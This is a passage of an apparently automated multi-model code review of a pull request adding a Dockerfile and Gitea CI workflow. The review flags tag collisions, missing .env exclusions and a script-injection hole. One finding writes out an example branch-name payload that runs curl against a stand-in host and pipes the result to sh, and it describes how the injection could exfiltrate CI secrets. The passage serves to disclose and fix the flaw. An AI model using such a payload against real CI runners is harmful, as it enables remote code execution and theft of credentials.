  • .gitea/workflows/build-image.yml:48latest is only special-cased for main; a non-main branch named/sanitized to latest clobbers :latest. The latest mapping is gated solely on ref_name == "main"; any other branch whose name (or sanitized name) is latest pushes to :latest via the else branch, overwriting the main build. Obscure but a real correctness gap. Suggested fix: reserve latest (reject/rewrite it for non-main refs), e.g. prefix non-main branch tags with branch-.
🧹 Code cleanliness & maintainability — Minor issues

Both findings verified against the actual source. Correcting line numbers (Dockerfile LABEL source is at line 36, not 35; the build-stage ENV is at line 17, not 18) and the README line references.

Verdict: Minor issues

  • Hardcoded registry path duplicated across three files. gitea.stevedudenhoeffer.com/steve/pansy appears literally in Dockerfile:36 (LABEL org.opencontainers.image.source), .gitea/workflows/build-image.yml:23 (IMAGE_NAME env), and README.md:68/69/70/78/86 (the tag table, run example, and Compose example). If the registry host or repo path ever changes, all three must be updated in lockstep with no single source of truth. Not worth plumbing a build-arg for the LABEL necessarily, but at minimum the README examples and the workflow IMAGE_NAME could reference one constant. Verified by reading all three files.

  • Dockerfile build stage omits GOWORK=off that the Makefile:12 sets as a project convention. Makefile:12 defines GO_ENV := CGO_ENABLED=0 GOWORK=off with the stated intent "keeps the parent workspace out of the way," while Dockerfile:17 sets only ENV CGO_ENABLED=0 GOTOOLCHAIN=auto. There is no go.work file in the repo (verified via find_files), so this is currently a no-op and not a bug — but the two build paths diverge in stated intent. Either add GOWORK=off to the build-stage env for consistency, or drop the Makefile's justification. Low impact, noting only because the PR claims parity with the Makefile build.

Nothing else in the cleanliness lane: .dockerignore correctly forces a fresh web build (ignores web/dist, web/node_modules, and internal/webdist/dist while keeping dist.go), and the three-stage Dockerfile is cleanly separated with consistent comments. The inline sed tag-sanitization in build-image.yml:51 is acceptable for a single workflow.

Performance — No material issues found

Verdict: No material issues found

Through the performance lens, the build is well-structured:

  • Stage ordering maximizes layer reuse: in the web stage COPY package*.jsonnpm ciCOPY web/, so npm ci only re-runs when deps change; in the Go stage COPY go.mod go.sumgo mod downloadCOPY . ., so module download only re-runs on dep changes.
  • BuildKit cache mounts (/go/pkg/mod, /root/.cache/go-build) are correctly applied to both the download and build steps, persisting compiler/module caches across builds under the docker-container buildx driver.
  • Single-platform (linux/amd64) build avoids the multi-arch cost that would otherwise multiply build time.
  • cancel-in-progress on the per-ref concurrency group avoids wasting runner time on superseded commits to the same branch.

One trivial (non-blocking) observation, verified by reading Dockerfile:8-13: the web stage relies on Docker layer caching for npm ci rather than a --mount=type=cache,target=/root/.npm cache mount. Layer caching already covers the common case (deps unchanged), so this only matters when package*.json changes frequently — not material. No change required.

🧯 Error handling & edge cases — Minor issues

Both findings verified against the actual code.

## Draft review

Verdict: Minor issues

I reviewed the diff (workflow + Dockerfile) through the error-handling / edge-case lens, and verified the referenced runtime assumptions against the checked-out code.

Findings:

- `.gitea/workflows/build-image.yml:47-52`**branch named `latest` collides with main's tag.** The `PRIMARY` logic only special-cases `main`; any other branch literally named `latest` sanitizes to `latest` and will publish `gitea.stevedudenhoeffer.com/steve/pansy:latest` from that branch's build, silently overwriting the `main`-produced `:latest` until the next `main` push. Same hazard for a branch named e.g. `sha-abcdef0`. Suggested fix: reject/reserved-word guard — if `PRIMARY` is `latest` (or matches `sha-*`) for a non-`main` ref, suffix it (e.g. `latest-branch` or fall back to `sha-<short>` only). Verified by reading the `Compute tags` block at lines 43-55.

- `.gitea/workflows/build-image.yml:51`**sanitization can in principle yield an empty `PRIMARY`.** After `sed 's/[^a-zA-Z0-9._-]/-/g'` and the leading/trailing strip, a branch whose name is composed solely of characters outside `[a-zA-Z0-9._-]` plus leading/trailing `-`/`.` would reduce to an empty string, producing `TAGS="…pansy:,…pansy:sha-…"` → an invalid `--tag …pansy:` that makes `docker buildx build --push` fail with a confusing error. Git ref-name rules make this very hard to hit in practice (branches can't be empty or start with `.`/`-`, and `//`, `..` are forbidden), so confidence is low, but there's no explicit guard. Suggested fix: `PRIMARY=$(…)` then `[ -n "$PRIMARY" ] || PRIMARY="branch"` (or fall back to `sha-<short>` only).

Verified, not findings:
- `Dockerfile:57-58` HEALTHCHECK `wget` — alpine:3.20 ships BusyBox `wget` by default; `|| exit 1` correctly marks the container unhealthy on probe failure. The `/api/v1/healthz` route exists (`internal/api/api.go:37,43`). `PANSY_PORT`/`PANSY_DB` env names match `internal/config/config.go:68-69`.
- `.gitea/workflows/build-image.yml:35` `buildx create … 2>/dev/null || buildx use` is a sound create-or-reuse pattern, not a swallowed error.
- `Dockerfile:43-45` `/data` is `chown`'d to the non-root `pansy` user before `USER pansy` and `WORKDIR /data`, so SQLite at `/data/pansy.db` is writable; the unhappy "read-only / wrong-owner volume" case is operator error, not a defect here.

gadfly-findings:

Verdict: Minor issues

I reviewed the diff (workflow + Dockerfile) through the error-handling / edge-case lens, and verified the referenced runtime assumptions against the checked-out code.

Findings:

  • .gitea/workflows/build-image.yml:47-52branch named latest collides with main's tag. The PRIMARY logic only special-cases main; any other branch literally named latest sanitizes to latest and will publish gitea.stevedudenhoeffer.com/steve/pansy:latest from that branch's build, silently overwriting the main-produced :latest until the next main push. Same hazard for a branch named e.g. sha-abcdef0. Suggested fix: reject/reserved-word guard — if PRIMARY is latest (or matches sha-*) for a non-main ref, suffix it (e.g. latest-branch or fall back to sha-<short> only). Verified by reading the Compute tags block at lines 43-55.

  • .gitea/workflows/build-image.yml:51sanitization can in principle yield an empty PRIMARY. After sed 's/[^a-zA-Z0-9._-]/-/g' and the leading/trailing strip, a branch whose name is composed solely of characters outside [a-zA-Z0-9._-] (e.g. a single non-ASCII UTF-8 char) would reduce to an empty string, producing TAGS="…pansy:,…pansy:sha-…" → an invalid --tag …pansy: that makes docker buildx build --push fail with a confusing error. Git ref-name rules make this hard to hit in practice, so confidence is low, but there's no explicit guard. Suggested fix: PRIMARY=$(…) then [ -n "$PRIMARY" ] || PRIMARY="branch" (or fall back to sha-<short> only).

Verified, not findings:

  • Dockerfile:57-58 HEALTHCHECK wget — alpine:3.20 ships BusyBox wget by default; || exit 1 correctly marks the container unhealthy on probe failure.
  • .gitea/workflows/build-image.yml:35 buildx create … 2>/dev/null || buildx use is a sound create-or-reuse pattern, not a swallowed error.
  • Dockerfile:43-45 /data is chown'd to the non-root pansy user before USER pansy and WORKDIR /data, so SQLite at /data/pansy.db is writable.
kimi-k2.6:cloud (ollama-cloud) — Minor issues

Verdict: Minor issues — 5 reviewers: security, correctness, maintainability, performance, error-handling

🔒 Security — Minor issues

Verdict: Minor issues

  • .dockerignore missing .env* exclusion — The .dockerignore excludes local databases (*.db) but not .env or .env.* files. The build stage (Dockerfile:24) runs COPY . ., so any local .env file containing secrets (e.g. PANSY_OIDC_CLIENT_SECRET) would be copied into the intermediate build image. Even though it doesn't reach the final runtime stage, it persists in build layers and cache.
    Fix: Add .env* to .dockerignore.

  • github.token exposed in process command line — The checkout step (.gitea/workflows/build-image.yml:31) interpolates the token directly into the clone URL: https://token:${{ github.token }}@.... When git clone executes, the expanded URL appears in the process argv, visible via /proc/<pid>/cmdline to any concurrent process on the runner. Error output from a failed clone could also leak it before log masking catches it.
    Fix: Configure git credentials separately (e.g. git config credential.helper or GIT_ASKPASS) and clone via the bare HTTPS URL.

🎯 Correctness — No material issues found

No material issues found.

I verified the Dockerfile's multi-stage build ordering, embed path alignment, and the workflow's tag computation against the repository structure. Key checks:

  • //go:embed all:dist in internal/webdist/dist.go expects a dist/ subdirectory inside the webdist package. The Dockerfile stage 2 copies the built frontend to ./internal/webdist/dist (relative to /src) before go build, so the embed target exists at compile time. Confirmed by reading internal/webdist/dist.go and the Dockerfile COPY ordering.
  • .dockerignore correctly excludes stale local web/dist and internal/webdist/dist, forcing a fresh web build inside the image while keeping dist.go. Confirmed by comparing .dockerignore patterns against the repo layout.
  • Healthcheck endpoint /api/v1/healthz exists and returns {"ok": true} in internal/api/api.go:37,43-44. Confirmed.
  • Runtime user & volume: The pansy user (UID 10001) owns /data, the binary is copied before USER pansy, and ca-certificates/tzdata are the only added packages—appropriate for a CGO_ENABLED=0 static binary. Confirmed.
  • Tag sanitization replaces invalid characters and collapses runs; trailing hyphens are stripped. While trailing periods are not stripped, Docker's tag regex [a-zA-Z0-9_][a-zA-Z0-9._-]{0,127} allows them, and no valid Git branch name sanitizes to an empty string. Confirmed by tracing the sed pipeline against Git ref-name constraints.
🧹 Code cleanliness & maintainability — Minor issues

Minor issues

  • Dockerfile:24 — The embed path ./internal/webdist/dist is hardcoded, while Makefile:11 parameterizes it as WEBDIST := internal/webdist/dist. If the embed directory ever moves, both files must be updated manually; the Dockerfile has no central definition to follow. Suggested fix: Add a Dockerfile ARG EMBED_DIR=internal/webdist/dist and reference it in the COPY --from=web step, so the path lives in one obvious place.

  • .gitea/workflows/build-image.yml:62,68 — The shell loop builds TAG_FLAGS with unquoted expansion (TAG_FLAGS="$TAG_FLAGS --tag $tag") and then injects it unquoted into the docker buildx build command ($TAG_FLAGS \). While the current sed sanitization prevents spaces in tags, this is brittle shell code: a future change to tag logic could silently mis-parse arguments. Suggested fix: Use a Bash array (TAG_ARRAY=()) or quote individual --tag flags properly.

Performance — Minor issues

Verdict: Minor issues

Findings (Performance lens):

  • Dockerfile:11 — Missing npm cache mount causes redundant downloads in CI.
    The web stage runs npm ci without a BuildKit cache mount, so every image build re-downloads all npm packages from the registry. In CI this adds significant network overhead and wall-clock time (frontend deps are often hundreds of MBs).
    Fix: Add a cache mount to reuse the npm cache across builds:

    RUN --mount=type=cache,target=/root/.npm \
        npm ci
    

    Verified by reading the Dockerfile stages and the .dockerignore; there is no corresponding cache mount for the npm install step, while the Go stages already correctly use --mount=type=cache for both module download and build caching.

  • No other material performance issues found. The multi-stage layout is otherwise cache-friendly: package*.json are copied before npm ci, go.mod/sum before go mod download, the Go build strips debug info, and the .dockerignore excludes large local artifacts (node_modules, web/dist, databases). The concurrency block in the workflow correctly cancels stale builds to avoid redundant CI work.

🧯 Error handling & edge cases — Minor issues

Minor issues

  • .gitea/workflows/build-image.yml:51 — Branch-name sanitization can produce an empty Docker tag. If a branch is named entirely of characters that get stripped (e.g. ___, ..., -.), the three sed commands reduce PRIMARY to the empty string. The resulting --tag $IMAGE_NAME: is invalid and causes the build to fail with a cryptic Docker error.
    Fix: After sanitization, add a guard: [ -z "$PRIMARY" ] && PRIMARY="branch" (or similar fallback).

  • .gitea/workflows/build-image.yml:35docker buildx create stderr is swallowed by 2>/dev/null. When the builder creation fails for an unexpected reason (e.g. Docker daemon unreachable), the real error is hidden and the || fallback runs docker buildx use pansy-builder, which then fails with “builder not found” — a misleading diagnostic.
    Fix: Remove the 2>/dev/null suppression (or redirect it to a file/variable) so the root cause is visible when create fails for a real problem.

opencode/glm-5.2:cloud (opencode) — Blocking issues found

Verdict: Blocking issues found — 5 reviewers: security, correctness, maintainability, performance, error-handling

🔒 Security — Blocking issues found

Confirmed: line 32 inlines ${{ github.ref_name }} directly into a run: shell block. Git refnames permit ;, $, backticks, {}, " — enough to break out of the surrounding double quotes and execute arbitrary commands on the runner. The meta-step sanitization (line 51) runs after the clone and does not defend it. Finding verified.

VERDICT: Blocking issues found

  • .gitea/workflows/build-image.yml:32${{ github.ref_name }} is interpolated directly into a shell command via the ${{ }} expression syntax, which the workflow engine expands before the shell parses the line. Git refnames forbid spaces, ~, ^, :, ?, *, [, \ and control chars, but allow ;, ", $, backticks, {}, etc. Any collaborator with branch-push rights can craft a branch name like x";curl${IFS}evil.sh|sh;echo" that breaks out of the surrounding quotes and runs arbitrary commands on the runner, with access to ${{ github.token }} (which is also inlined into the same command on line 31). This is RCE on CI via branch name. The meta-step sanitization at line 51 runs after the vulnerable clone and provides no defense. Fix: pass untrusted values through the step's env: mapping and reference them as shell variables (e.g. REF_NAME: ${{ github.ref_name }} then --branch "$REF_NAME"), so they are never inlined into the command string.
  • .gitea/workflows/build-image.yml:60steps.meta.outputs.tags is interpolated via ${{ }}, but its contents are produced by the workflow itself (sanitized PRIMARY from line 51 plus a git-controlled short SHA), so it is not externally attacker-controlled; no injection. Verified.
🎯 Correctness — No material issues found

I verified the files against the draft. The two JSON findings both depend on external facts I cannot confirm from the checked-out repo:

  • Finding #1 (branches: ['**'] on Gitea) is a speculative claim about act_runner's external behavior. Gitea Actions advertises GitHub-compatible trigger syntax, and the ** glob is standard; nothing in this repo confirms the trigger would fail. Cannot positively confirm.
  • Finding #2 (golang:1.26-alpine tag existence) is explicitly network-dependent and the draft itself marks it unverified. Cannot positively confirm.

The remaining bullets in the draft are self-withdrawn ("withdrawing", "Not a real finding", "Correct") and need no retention. The healthcheck route, env defaults, and Docker layering all check out against the code (internal/api/api.go:37, internal/config/config.go:68-69).

VERDICT: No material issues found

🧹 Code cleanliness & maintainability — Minor issues

All five findings confirmed.

Verdict: Minor issues

  • .gitea/workflows/build-image.yml:53-63 — needless tag serialize/parse roundtrip. The Compute tags step joins the two tags into a single comma-separated string (TAGS="${IMAGE_NAME}:${PRIMARY},${IMAGE_NAME}:sha-${SHA_SHORT}", line 53) and writes it to one output (line 54), then Build and push immediately splits it back into a bash array with IFS=',' (line 60) and re-joins it into --tag flags (lines 61-63). Indirection with no payoff — the meta step could emit the flags directly, or two separate outputs. ~6 lines of bash exist only to undo the previous step.

  • README.md:66-70 vs .gitea/workflows/build-image.yml:3-7 — duplicated tagging table. The same Ref → Tag mapping appears in the workflow header comment and in the README's Docker section. Two places to keep in sync when tagging rules change; the workflow comment is the canonical source and the README copy will drift. Suggest linking to the workflow instead of restating it, or trimming the README table to prose.

  • README.md:75-78 vs README.md:86,99 — inconsistent tag-pinning guidance. The docker run example hardcodes :latest (line 78), while the Compose example uses ${PANSY_TAG:-latest} (line 86), and the closing sentence tells the user to "pin PANSY_TAG to a sha-<short> tag" (line 99). The docker run example gives no equivalent pinning knob, so a reader of that section's first example gets a different (less reproducible) pattern than the second. Suggest showing -e PANSY_TAG=sha-<short> parity or noting it inline.

  • Dockerfile:41 and README.md:93 — issue-number references in persistent comments. # ca-certificates: outbound TLS (OIDC discovery, #5) (Dockerfile:41) and # PANSY_OIDC_ISSUER: ... # once auth (#5) lands (README.md:93) tie long-lived files to a transient issue number. Once #5 closes these become opaque. The "OIDC discovery" / "once auth lands" phrasing stands on its own; drop the #5 tokens.

  • .dockerignore:4.github listed but no such directory exists (verified via glob — only .gitea/workflows/ is present). Defensive entry is harmless but is dead config today; if it's meant to future-proof against accidentally pulling a GitHub Actions tree in, a one-word comment would make the intent clear instead of looking like a leftover.

Performance — No material issues found

VERDICT: No material issues found

Through the performance lens, I checked the build pipeline and Dockerfile for avoidable work, cache-busting, redundant rebuilds, and hot-path concerns.

Verified by reading Dockerfile, .dockerignore, and .gitea/workflows/build-image.yml in full:

  • Layer caching is structured correctly. Web stage copies package.json/package-lock.json before web/ source, so npm ci only re-runs on lockfile changes. Go stage copies go.mod/go.sum before the rest of the repo, so go mod download only re-runs on dep changes. COPY . . invalidates the build layer on any repo change, but that's inherent to embedding and .dockerignore trims the obvious noise (.git, *.md, node_modules, dist).
  • Buildx cache mounts are correctly reused across the two RUN invocations in the Go stage (/go/pkg/mod mounted for both go mod download and go build, plus /root/.cache/go-build), and the persistent pansy-builder container driver keeps these caches across CI runs. This is the right setup for fast incremental builds.
  • Single-platform build (linux/amd64 only) avoids the multi-arch overhead — appropriate given the stated target.
  • concurrency: cancel-in-progress: true is a net perf win for branch pushes (supersedes stale in-flight builds), not a regression.
  • Shallow clone (--depth=1) keeps checkout small.
  • No runtime hot paths are introduced (this is CI/image infra, not application code), so no N+1/allocation/unbounded-growth concerns apply.

No performance regressions to report.

🧯 Error handling & edge cases — Minor issues

VERDICT: Minor issues

  • .gitea/workflows/build-image.yml:51-53 — empty PRIMARY after branch-name sanitization is unhandled. The sed pipeline at line 51 (sed 's/[^a-zA-Z0-9._-]/-/g' | sed 's/--*/-/g' | sed 's/^[-.]*//;s/-$//') reduces any branch name consisting entirely of characters outside [a-zA-Z0-9._-] (e.g. an emoji-only or all-punctuation branch like 🚀 or @@@) to the empty string: step 1 turns each char into -, step 2 collapses runs to a single -, step 3 strips leading -/. and the single trailing -, leaving "". There is no guard between line 51 and the composition at line 53, so TAGS becomes ${IMAGE_NAME}:,${IMAGE_NAME}:sha-<short> and the build step at lines 60-63 emits --tag <image>: — an invalid Docker reference. docker buildx build aborts with a registry/parser error rather than a clear "sanitized branch name is empty" message, and the actually-useful immutable sha-<short> tag never publishes because the whole invocation fails. Confirmed by reading the unguarded composition at line 53 and tracing the pipeline against all-disallowed-character input. Fix: guard after sanitization, e.g. if [ -z "$PRIMARY" ]; then PRIMARY="branch-${SHA_SHORT}"; fi (or fail the step with ::error::branch name sanitizes to empty); a sha-based fallback also keeps the immutable tag publishable.
opencode/kimi-k2.6:cloud (opencode) — Blocking issues found

Verdict: Blocking issues found · ⚠️ 1/5 lens(es) errored — 5 reviewers: security, correctness, maintainability, performance, error-handling

🔒 Security⚠️ could not complete

⚠️ This reviewer failed to complete: opencode run context deadline exceeded

🎯 Correctness — No material issues found

No material issues found

Through the Correctness lens, the Dockerfile, workflow, and .dockerignore all behave as intended:

  • Build stages: node:22-alpine satisfies package.json’s >=20 requirement; golang:1.26-alpine matches go.mod’s go 1.26.2; CGO_ENABLED=0 is correct for the modernc.org/sqlite dependency.
  • Embed correctness: COPY --from=web /web/dist ./internal/webdist/dist ensures the //go:embed all:dist directive finds fresh assets at build time, and .dockerignore excludes stale local internal/webdist/dist so it never shadows the fresh copy.
  • Healthcheck: wget is provided by busybox in alpine:3.20; ${PANSY_PORT} expands correctly in the shell-form CMD; the endpoint /api/v1/healthz is confirmed live in internal/api/api.go:37.
  • Runtime envs: PANSY_PORT=8080 and PANSY_DB=/data/pansy.db match the documented defaults in internal/config/config.go:68-69 and README.md.
  • Tag logic: The sed normalization maps Git branch names to valid Docker tag characters and, given Git’s ref-naming rules, cannot produce an empty tag in practice.

Nothing in this change introduces incorrect behavior or semantic bugs.

🧹 Code cleanliness & maintainability — Minor issues

Verdict: Minor issues

Findings:

  • .dockerignore:1-26 — Missing key .gitignore-tracked exclusions. .env, go.work, go.work.sum, web/.vite/, and common build artifacts (*.exe, *.test, *.out, .DS_Store) are absent. Local .env files (often secrets) and Go workspace files can leak into the Docker build context, and the Vite cache directory needlessly inflates it. The .dockerignore should mirror the .gitignore exclusions that are relevant to the build context.
    Verified by reading .dockerignore and .gitignore side-by-side.

  • Dockerfile:16-17 — Pattern inconsistency with the local build. The Makefile explicitly exports GOWORK=off (line 12) with a comment explaining it “keeps the parent workspace out of the way.” The Dockerfile sets CGO_ENABLED=0 GOTOOLCHAIN=auto but omits GOWORK=off. Because go.work is .gitignored, a developer may have one locally; the Dockerfile will then resolve modules differently from make build, creating a leaky abstraction between local and CI builds.
    Verified by reading Makefile and Dockerfile.

Performance — No material issues found

No material issues found

From the Performance lens, this PR is clean. The Dockerfile and CI workflow both follow build-performance best practices:

  • Layer caching: package.json/package-lock.json and go.mod/go.sum are copied before their respective dependency-install steps, so rebuilds skip npm ci and go mod download when only app code changes (Dockerfile:10-11, Dockerfile:19-20).
  • Build cache mounts: Go module and build caches are mounted as Docker cache volumes (Dockerfile:25-26), avoiding redundant module downloads and compilation on rebuilds.
  • Shallow clone: The workflow clones with --depth=1 (.gitea/workflows/build-image.yml:32), minimizing I/O and time.
  • Lean build context: .dockerignore excludes local build artifacts, VCS metadata, editor files, and the stale internal/webdist/dist directory, keeping the Docker context small.
  • Stripped binary: The Go build uses -trimpath -ldflags "-s -w" (Dockerfile:27), producing a smaller final image.
  • Concurrency guard: The workflow cancels in-progress builds for the same ref (.gitea/workflows/build-image.yml:18-20), preventing resource waste from rapid pushes.

No runtime code is modified, so there are no hot-path regressions, N+1 queries, unbounded growth, or blocking issues to flag.

🧯 Error handling & edge cases — Blocking issues found

Blocking issues found

  • .gitea/workflows/build-image.yml:35 — The docker buildx create … 2>/dev/null || docker buildx use … construct swallows stderr and ignores any non-zero exit from create (e.g., permission denied, incompatible driver, missing buildx plugin). It then blindly falls through to use, which will also fail if the builder was never created. The pipeline will only fail later with a confusing "builder not found" error during docker buildx build.
    Fix: Remove 2>/dev/null; check the exit status of create and only run use on the specific "already exists" error, or let the step fail fast.

  • .gitea/workflows/build-image.yml:41docker login failure is not checked. If the registry is unreachable or credentials are wrong, the step exits 0 (because the pipeline only sees the last command's status if it fails, but actually docker login does exit non-zero on failure, so this is a minor concern, except that if REGISTRY_PASSWORD is empty, echo "" | docker login … might behave unexpectedly. However, the bigger issue is: the docker buildx build --push step later will fail with a long, cryptic error rather than stopping at login.
    Fix: Add set -euo pipefail at the top of the run block, or explicitly check docker login exit code.

  • .gitea/workflows/build-image.yml:50-52 — Branch-name sanitization can produce an empty string for inputs like --- or / (all characters stripped by the first sed, then the second sed doesn't help because the string is already empty). When PRIMARY is empty, TAGS becomes ,:sha-<short>, which splits into an empty tag and a sha tag. The empty tag causes docker buildx build --tag (trailing nothing) which is invalid syntax and fails the build.
    Fix: Add a fallback after sanitization:

    PRIMARY=${PRIMARY:-latest}
    

    (or unknown-branch, etc.).

  • .gitea/workflows/build-image.yml:59-63TAG_FLAGS is built by string concatenation without quotes and later expanded unquoted in the docker buildx build command. If PRIMARY somehow contains a space (e.g., if the sanitization regex is ever relaxed), TAG_FLAGS will inject extra arguments into the docker command, potentially causing mis-tagging or option injection.
    Fix: Build tags into a bash array and expand it safely:

    TAG_FLAGS=()
    IFS=',' read -ra TAG_ARRAY <<< "${{ steps.meta.outputs.tags }}"
    for tag in "${TAG_ARRAY[@]}"; do
      TAG_FLAGS+=(--tag "$tag")
    done
    docker buildx build \
      --push \
      --platform linux/amd64 \
      "${TAG_FLAGS[@]}" \
      ...
    
  • Dockerfile:57-58HEALTHCHECK relies on wget. Alpine's base busybox usually provides wget, but it is not guaranteed (it can be compiled out or replaced). If wget is missing, the container will be marked unhealthy with a cryptic wget: not found error, and orchestrators like Komodo may restart or kill it.
    Fix: Explicitly install wget alongside ca-certificates and tzdata, or switch to busybox wget if available.


Automated adversarial review by Gadfly — consensus across the model swarm. Advisory only — does not block merge.

<!-- gadfly-consensus --> ## 🪰 Gadfly review — consensus across 5 models **Verdict: Blocking issues found** · 12 findings (6 with multi-model agreement) | | Finding | Where | Models | Lens | |--|--|--|--|--| | 🔴 | Untrusted github.ref_name interpolated into run: script enables script injection | `.gitea/workflows/build-image.yml:29` | 5/5 | correctness, error-handling, security | | 🔴 | Branch sanitization can produce empty Docker tag causing invalid build command | `.gitea/workflows/build-image.yml:48` | 5/5 | correctness, error-handling, maintainability | | 🟠 | .dockerignore omits .env, allowing local secrets to be baked into build-stage image layer | `.dockerignore:1` | 4/5 | maintainability, security | | 🟠 | TAG_FLAGS string concatenation vulnerable to word-splitting if tags contain spaces | `.gitea/workflows/build-image.yml:58` | 3/5 | error-handling, maintainability, performance | | 🟡 | Registry/repo path hardcoded in Dockerfile LABEL, workflow env, and README with no single source of truth | `Dockerfile:36` | 3/5 | correctness, maintainability | | 🟠 | Dockerfile omits GOWORK=off, diverging from Makefile pattern | `Dockerfile:17` | 2/5 | maintainability | <details><summary>6 single-model findings (lower confidence)</summary> | | Finding | Where | Model | Lens | |--|--|--|--|--| | 🟠 | docker login failure not isolated; build fails later with cryptic error | `.gitea/workflows/build-image.yml:41` | opencode/kimi-k2.6:cloud | error-handling | | 🟠 | npm ci lacks BuildKit cache mount, causing redundant package downloads on every build | `Dockerfile:11` | kimi-k2.6:cloud | performance | | 🟠 | HEALTHCHECK uses wget which may not exist in alpine:3.20 runtime | `Dockerfile:57` | opencode/kimi-k2.6:cloud | error-handling | | 🟡 | Embed path hardcoded while Makefile parameterizes it | `Dockerfile:24` | kimi-k2.6:cloud | maintainability | | 🟡 | Tagging table duplicated between workflow comment and README; will drift | `README.md:66` | opencode/glm-5.2:cloud | maintainability | | 🟡 | docker run example hardcodes :latest while Compose uses ${PANSY_TAG:-latest}; inconsistent pinning guidance | `README.md:75` | opencode/glm-5.2:cloud | maintainability | </details> <details><summary>Per-model detail</summary> <details><summary><b>claude-code/sonnet</b> (claude-code) — Blocking issues found</summary> **Verdict: Blocking issues found** — 5 reviewers: security, correctness, maintainability, performance, error-handling <details><summary><b>🔒 Security</b> — Blocking issues found</summary> **VERDICT: Blocking issues found** - `.gitea/workflows/build-image.yml:29-31` — GitHub/Gitea Actions **script injection**. `${{ github.ref_name }}` (and `${{ github.token }}`) are interpolated directly into the `run:` shell script text before it's parsed, rather than passed through an `env:` var: ``` REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git" git clone --depth=1 --branch "${{ github.ref_name }}" "$REPO_URL" . ``` The workflow triggers on push to **any branch** (`branches: ['**']`), and branch names are largely unconstrained by git — `git check-ref-format` only forbids control chars, space, `~^:?*[\`, `..`, leading `-`, etc.; it does **not** forbid `"`, `` ` ``, `$()`, `;`. Anyone who can push a branch (not just merge to `main`) can therefore craft a branch name that breaks out of the quoted `--branch "..."` argument and injects arbitrary shell commands into this step, running with access to `REGISTRY_USER`/`REGISTRY_PASSWORD` (later step, same job/runner) and the clone token — enabling secret exfiltration or pushing a malicious image under this repo's name to the registry. This is CWE-94 and one of the best-documented GitHub Actions misconfigurations. The fix used two steps later for `GITHUB_REF_NAME`/`GITHUB_SHA` (referencing them as shell env vars, e.g. `"${GITHUB_REF_NAME}"`) is the correct pattern and should be applied here too: pass `ref_name`/`token`/`repository` via `env:` and reference them as `$GITHUB_REF_NAME`, `$GITEA_TOKEN`, etc. inside the script. - `.gitea/workflows/build-image.yml:29-30` — Embedding the clone token directly in the URL string (`https://token:${{ github.token }}@...`) is also risky independent of the injection above: if `git clone` fails, git commonly echoes the URL (including embedded credentials) in its error output, which lands in the job log; the token also appears as plain argument text passed to `git`/`bash -c`. Prefer an auth header (`git -c http.extraheader="Authorization: ..."`) or a credential helper so the token never appears in a URL string. - `.dockerignore` (new file) — Does not exclude `.env`, even though `.gitignore:26` explicitly treats `.env` as the local secrets file, and `README.md:56` documents `PANSY_OIDC_CLIENT_SECRET` as a real secret loaded via env config. The Dockerfile's build stage does `COPY . .` (Dockerfile:21) over the full context. For CI builds this is currently moot (the workflow `git clone`s a fresh checkout that never contains `.env`), but nothing prevents a developer from running `docker build .` from a working directory that has a real `.env` with `PANSY_OIDC_CLIENT_SECRET` populated — that secret would be baked into the `build` stage's image layer (and cache), even though it's discarded from the final runtime stage, and could leak via `docker history`, pushed/exported cache, or anyone with pull access to an intermediate/cached layer. Add `.env` (and `.env.*`) to `.dockerignore` to match `.gitignore`. </details> <details><summary><b>🎯 Correctness</b> — Minor issues</summary> Both draft findings are real, but both cited the wrong line numbers (checked against the actual file contents, not just the diff hunk). Verified via read-only inspection only — no repo edits made. ## Verdict: Minor issues - **`.gitea/workflows/build-image.yml:32`** — The checkout step does `git clone --depth=1 --branch "${{ github.ref_name }}"` instead of pinning to `${{ github.sha }}`. A branch checkout fetches whatever the branch tip is *at clone time*, not the specific commit that triggered the run. If the branch moves before the runner executes (queued runner, retry, workflow_dispatch, or races outrunning the `cancel-in-progress` concurrency guard), the image gets built from a *later* commit than the one whose SHA is used to compute the `sha-<short>` tag (line 46: `SHA_SHORT=$(echo "${GITHUB_SHA}" | cut -c1-7)`). This undermines the stated purpose of that tag — "immutable, for pinning." Fix: `git clone --branch ... && git checkout "${{ github.sha }}"`, or use `actions/checkout@v4` with `ref: ${{ github.sha }}` if available. - **`Dockerfile:38`** — `org.opencontainers.image.version="${BUILD_BRANCH}"` sets the OCI `version` label to a branch name rather than a semantic version. Minor spec mismatch; the commit is already captured via `image.revision` on the line above. Low impact since nothing consumes this label yet. Everything else checks out: `/api/v1/healthz` matches `internal/api/api.go:37`, `PANSY_PORT`/`PANSY_DB` defaults match `internal/config/config.go:68-69`, `web/vite.config.ts:30`'s `outDir: 'dist'` lines up with the Dockerfile's copy overlay, and the `.dockerignore` exclusion of `internal/webdist/dist` is consistent with `internal/webdist/dist.go`. </details> <details><summary><b>🧹 Code cleanliness & maintainability</b> — No material issues found</summary> **VERDICT: No material issues found** Reviewed through the code cleanliness & maintainability lens: `.dockerignore`, `Dockerfile`, `.gitea/workflows/build-image.yml`, and the README addition. What I checked: - `internal/webdist/dist.go` and `.gitignore` to confirm the `.dockerignore` comment about "dist.go itself is kept" is accurate — it is; only `internal/webdist/dist` (the directory) is excluded, matching the same split already used in `.gitignore`. - `Makefile` to compare the Docker build steps (npm ci/build, embed sync) against the existing `make web`/`make build` targets — the Dockerfile's stage 1/2 reasonably re-implements this rather than shelling out to `make`, which is expected given multi-stage build isolation (can't invoke a host Makefile across `COPY --from=` stages); not duplicated logic worth extracting. - `.gitea/workflows/adversarial-review.yml` as the only other workflow in the repo, to see if there's an established local convention for checkout/tagging the new workflow deviates from — there isn't (it's a `uses:`-based reusable-workflow call, not comparable), so I can't fault `build-image.yml` for inconsistency with prior art. - The tag-sanitization `sed` chain and the `TAG_FLAGS` array-rebuild in `build-image.yml` — both are self-contained, single-use, and reasonably commented; not the kind of duplicated logic that should be factored into a helper. - README addition follows the file's existing table/code-block conventions. The new files are well-commented (each explaining *why*, e.g. the `.dockerignore` note on why `internal/webdist/dist` is excluded, the workflow header on trigger rationale), appropriately scoped, and don't duplicate logic present elsewhere in the repo. Nothing here rises to a cleanliness/maintainability finding. </details> <details><summary><b>⚡ Performance</b> — Minor issues</summary> **VERDICT: Minor issues** - `.gitea/workflows/build-image.yml:20,33-36,58-73` — Confirmed: the `docker buildx build` invocation has no `--cache-from`/`--cache-to` flags anywhere (lines 58-72), and the only caching mechanism is the `RUN --mount=type=cache,target=/go/pkg/mod` / `target=/root/.cache/go-build` mounts in the Dockerfile plus Docker's normal layer cache for `npm ci`. Those cache mounts live inside the `pansy-builder` buildx container created by `docker buildx create --use --name 